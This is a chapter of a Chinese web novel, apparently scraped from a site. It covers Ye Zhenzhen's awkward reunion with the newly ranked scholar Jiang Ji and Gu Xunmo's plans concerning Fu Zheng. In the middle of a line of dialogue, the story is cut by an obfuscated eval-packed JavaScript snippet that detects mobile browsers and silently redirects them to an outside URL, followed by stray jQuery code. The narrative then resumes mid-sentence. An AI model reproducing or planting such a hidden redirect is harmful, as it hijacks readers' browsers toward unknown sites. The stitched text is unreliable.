叶蓁蓁看向身着状元袍的男人,满脸诧异。
昨日顾询墨是在她房里休息的,所以也和她说了今日江霁会上门一事。
按理说,作为顾询墨的正妃,她是可以与殿下一同见客的,可她记起两人四年前的那几日相处,如今两人身份有异,实在是尴尬,便想着躲在后院不出来。
刚巧今日有花匠在后花园修剪枝杈,她便想着去看看,途径后门时,她却听到了敲门声。
她本以为是哪个不识好歹的下人偷溜出去躲懒去了,谁知打开门却看到了此刻最不想见到的人——江霁。
叶蓁蓁抿唇暗恼,抱怨自己手脚太快,还没问清楚是谁便开了门。
可眼下已成定局,她也只能放他进来。
“你怎么……”叶蓁蓁后退两步,示意他赶快进门。
“天街人太多了,我绕过来的。”江霁歉然一笑,解释道。
叶蓁蓁闻言点点头,随后引他去了正堂。
去正堂的路上,她逮了个在扫地的小厮,让他去通报殿下,又吩咐着侍女去烹茶。
一切交代完毕后,她才转头和江霁道歉:“江公子勿怪,殿下在正门处等您,因此错过了。还请先移步正堂,丫鬟已经备好了茶,我……妾身已着小厮通知了殿下,还请江公子稍待片刻……”
叶蓁蓁自成婚后一直没见过什么外男,除了裴寄舟。
可几人平日相处也无什么尊卑,她便从来没有顾及过称呼问题。
如今差点在外人面前说漏了嘴,叶蓁蓁没忍住偷偷看了一眼江霁,见他毫无察觉,才偷偷松了口气。
她只知道江霁曾经做过府中的账房先生一事,却不知江霁到底对顾询墨了解到底有多少。
以防万一,她还是十分周到地替顾询墨做了解释。
江霁偷偷用余光瞥了一眼叶蓁蓁,片刻后,他又垂下双眸若有所思,熟悉的面容将他的思绪拉回到了四年前的那场相遇。
他们的相遇是场意外,那时的叶蓁蓁还只是个不谙世事的小女孩。
那时,她被侍卫们围堵着却不害怕,反倒眼中却闪过几丝狡黠,她看向看戏的人群,一眼便锁定了他。在灵巧地躲过了侍卫的猛扑后,她撞进了他的怀中。
她附在他耳边,快速而轻声地对他说了一声抱歉。
温热的吐息扑在他的脸颊上,他一时恍惚,清醒时便已被她牵着手向着郊外跑去了。
在侍卫们怒火中烧的目光中,他们一直跑到了城郊的破庙。
那时的他心跳得好快,快的他几乎忘记了自己是要去考试,快到如今回想起来仍觉心中怦然。
可他也知道,那时他不过是怦然于对方奔向自由的决绝,而非对她的男女之情。
后来从季竹心口中知道顾询墨娶妻一事时,他才终于知道了对方的姓名,他怅然良久,却也只能暗叹对方终是无法求得她想要的自由。
虽然知道季竹心与顾询墨两人只是合作关系,甚至他当时还劝过季竹心不必担忧此事,但江霁并不认为叶蓁蓁与顾询墨也是假夫妻。
毕竟叶蓁蓁是陛下赐婚给顾询墨的正妃,如无意外,两人是要绑在一起一辈子的。
所以他由衷地替她惋惜,也为她被困内宅不再意气风发感到悲哀。
江霁跟在对方身后,也不知如何开口叙旧,便沉默地走进了正堂。
“江公子,喝茶?”
“多谢。”
两人短暂交流过后,便是沉默,直到顾询墨的到来才终于打破了这诡异的寂静。
“殿下!您终于来了!”叶蓁蓁语带雀跃。
她实在是太尴尬了!
见顾询墨终于到了,叶蓁蓁便顺理成章说道:“殿下,江公子已在此处,妾身先回房了。”
叶蓁蓁敷衍地欠了欠身,脚底抹油开溜。
旧人相遇,分外尴尬。
她还是早些溜回去吧。
江霁看着叶蓁蓁的背影,怅然地叹了口气。
顾询墨眼尖,看到这场面便对着季竹心挑眉,随后又对着江霁的方向扬了扬下巴,示意她看过去。
季竹心也看了一眼,随后两人对视一眼,一切尽在不言中。
江霁来这里是为了道谢,可受叶蓁蓁影响,他甚至忘了自己的来意,直到顾询墨轻咳出声,他才惊觉自己盯着对方离开的方向看了许久。
一瞬间,江霁冷汗直冒。
看向顾询墨,却见对方笑意吟吟,似乎对刚刚的事毫无所觉。
“今日穿得不错嘛!一身大红袍,比你之前那灰扑扑的衣裳看上去好多了,你该多穿些艳色的衣裳的……”顾询墨似乎毫无所觉,只一味夸赞着江霁的打扮。
“多……多谢殿下夸赞”江霁心中本还有些忐忑,但见顾询墨发自内心的夸赞,也不由得长舒了口气。
许是殿下没注意到他的反应?
“生分了不是,从前也没这么生分啊,怎么今日就突然客气上了?”顾询墨故作不悦道。
“是是是,那就多谢小墨夸奖。”江霁也不客套了,顺着她的意思接受了夸奖。
两人寒暄一阵后,江霁便提出了告辞。他本就准备过两日等这事告一段落了,再与顾询墨几人好好叙旧。
今日上门也主要是闲聊几句,力求不怠慢了他们。而今日他还要回自己的小院接受一些好友、邻居们的祝贺,自然也不好多待。
鉴于对方实在不想惹人注目,顾询墨也只能顺着他的意思,和季竹心一起,直接将其送到了后门。
三人在后门处又扯了几嘴家常后,江霁才意犹未尽地提出了过两日再聚的提议。
“改日云齐摆宴聚贤楼,届时咱们不醉不归,如何?”
“好!”
顾询墨自然答应。
送走江霁后,顾询墨与季竹心对视一眼,分明从对方的眼中看出了看好戏的意思。
两人一拍即合,便马不停蹄赶往了叶蓁蓁的院子。
“皇子妃,殿下的季夫人来了。”丫鬟在外通报道。
“让她们进来吧。”叶蓁蓁无奈地摇摇头,将手中的话本放下,吩咐道。
“是!”
丫鬟欠身退出屋子,又走到远门外对着顾询墨二人福礼后,才引着两人进了屋内。
“下去吧。”叶蓁蓁对着丫鬟挥了挥手。
屋内只剩三人,叶蓁蓁这才看向眼露精光的二人,没好气地笑骂道:
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034525|159628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又来凑热闹了是吧?”
“嘿嘿,蓁蓁真聪明”季竹心搓了搓手,语气谄媚,“说说你和江霁的事呗?”
“江霁没和你说过吗?”叶蓁蓁略显诧异。
“说过,但是这是从他他的感受入手说的故事嘛,想看看另一个当事人的说法”
“行吧……”叶蓁蓁叹了口气,又将两人的相遇再讲了一遍。
“所以你们互相有好感咯?”顾询墨听完立刻下了定论。
“不过是年少轻狂,哪有什么互相有好感这种说法。”
“哦呦,可我当时看江霁望着你背影的模样,可不像你说的那样哦……”季竹心看热闹不嫌事大。
“那有如何?我现在是十殿下的正妃,他是新科状元,就算有好感也再无可能。”叶蓁蓁想来将事情都看得很明白,自然早就断掉了不该有的情愫。
“若真要我们再续前缘,就得殿下早日登位,到时候将这状元郎赐给我咯~”
叶蓁蓁反将了顾询墨一军,顾询墨也不恼,反倒是点点头表示赞同:“你说得对,我要努力让我两位好姐姐过上好日子啊……”
叶蓁蓁闻言勾唇一笑,道:“别只看我乐子了,那傅铮一事,后续如何?”
顾询墨这才收起玩笑的心思,思考片刻后,道:“还在思考怎么整他呢……”
下一次二人的相遇还是在青楼,话本中,“傅铮”以为那日是醉酒看错了人,将旁人误认为是“顾询墨”了,便在殿试受封后,又连着去了几日的倚春楼。
终于,在一个晴空万里的午后,“傅铮”在倚春楼的画舫中,见到了“顾询墨”。
那时他以为对方是女扮男装出门玩玩,却没想对方表现得完全不认识他。
“傅铮”想着试探一下对方,便选择与“顾询墨”结伴游船。
可最终却得知,对方是康元帝膝下第十子——顾询墨。
心中震惊的同时,“傅铮”也在思考那前两日见到的女郎是不是什么皇家公主。
所以,按照话本中的剧情,“傅铮”对“顾询墨”的喜欢其实是设定在一见钟情的基础上,又加上“傅铮”对“顾询墨”权势、身份的猜测和垂涎,才有了后续的进展。
顾询墨对此嗤之以鼻。
若“傅铮”对“顾询墨”是真爱,后续也不会有宫宴上他醉酒后差点揭发“顾询墨”女子身份这一剧情了。
说到底,这话本的故事还是太过美化了“傅铮”,什么宫宴上深感被欺骗,才一时气急说出揭发身份的话,这类解释实在可笑,若是真爱,便不可能在众人面前去揭自己的短。
所以话本中,顾询墨最讨厌的剧情之二就是倚春楼试探身份和宫宴醉酒揭发这两个了。
但顾询墨不太确定这次傅铮是否还会按照剧情去倚春楼。
上次整人的威力实在是太大了,她不知道傅铮还敢不敢故地重游,更不清楚对方会不会连带着将她也一同迁怒。
倒不是害怕傅铮会记恨她,顾询墨只是担心若二人如今的关系就闹僵了,会不会日后更没有机会整他了?
顾询墨心中沉沉,隐隐后悔起之前自己的行为。
若傅铮心有戒备,那便真的无从下手了。